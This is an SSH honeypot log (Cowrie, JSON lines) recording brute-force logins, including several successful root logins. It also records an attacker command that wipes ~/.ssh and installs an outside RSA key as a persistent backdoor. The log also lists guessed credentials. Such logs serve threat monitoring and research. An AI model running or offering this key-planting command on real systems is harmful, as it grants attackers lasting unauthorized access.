{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:31.943259Z","src_ip":"2.57.122.208","session":"baa3e65c1b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:32.249438Z","src_ip":"2.57.122.208","session":"baa3e65c1b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:27:33.353851Z","src_ip":"2.57.122.208","session":"baa3e65c1b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"250.3","message":"Connection lost after 250.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:01.695379Z","src_ip":"223.247.153.211","session":"cf018439d322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.3","src_port":36026,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce57bf68c8a2","protocol":"ssh","message":"New connection: 72.253.251.3:36026 (10.17.0.5:22) [session: ce57bf68c8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:13.299981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:13.304486Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:13.421775Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Jm123456","message":"login attempt [root/Jm123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:13.923819Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.197481Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.200479Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.203637Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.323693Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.597931Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.601582Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.723865Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.727676Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.3","src_port":36330,"dst_ip":"10.17.0.5","dst_port":22,"session":"995f8d89552f","protocol":"ssh","message":"New connection: 72.253.251.3:36330 (10.17.0.5:22) [session: 995f8d89552f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.840999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.845073Z","src_ip":"72.253.251.3","session":"995f8d89552f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:14.962978Z","src_ip":"72.253.251.3","session":"995f8d89552f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:15.469831Z","src_ip":"72.253.251.3","session":"995f8d89552f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:16.591645Z","src_ip":"72.253.251.3","session":"995f8d89552f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.3","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"9315b31cb886","protocol":"ssh","message":"New connection: 72.253.251.3:36704 (10.17.0.5:22) [session: 9315b31cb886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:16.704675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:16.709015Z","src_ip":"72.253.251.3","session":"9315b31cb886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:16.828441Z","src_ip":"72.253.251.3","session":"9315b31cb886","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:17.327908Z","src_ip":"72.253.251.3","session":"9315b31cb886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:17.448008Z","src_ip":"72.253.251.3","session":"ce57bf68c8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:17.453218Z","src_ip":"72.253.251.3","session":"9315b31cb886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.87.201","src_port":48482,"dst_ip":"10.17.0.5","dst_port":22,"session":"466fb32e4666","protocol":"ssh","message":"New connection: 201.249.87.201:48482 (10.17.0.5:22) [session: 466fb32e4666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:53.503112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:53.507406Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:53.623188Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Ab-123456","message":"login attempt [root/Ab-123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.154318Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.444839Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.448050Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.452380Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.580395Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.927583Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:54.930933Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.049628Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.053122Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.87.201","src_port":48828,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9eb244d3894","protocol":"ssh","message":"New connection: 201.249.87.201:48828 (10.17.0.5:22) [session: d9eb244d3894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.160109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.164489Z","src_ip":"201.249.87.201","session":"d9eb244d3894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.280317Z","src_ip":"201.249.87.201","session":"d9eb244d3894","protocol":"ssh"}
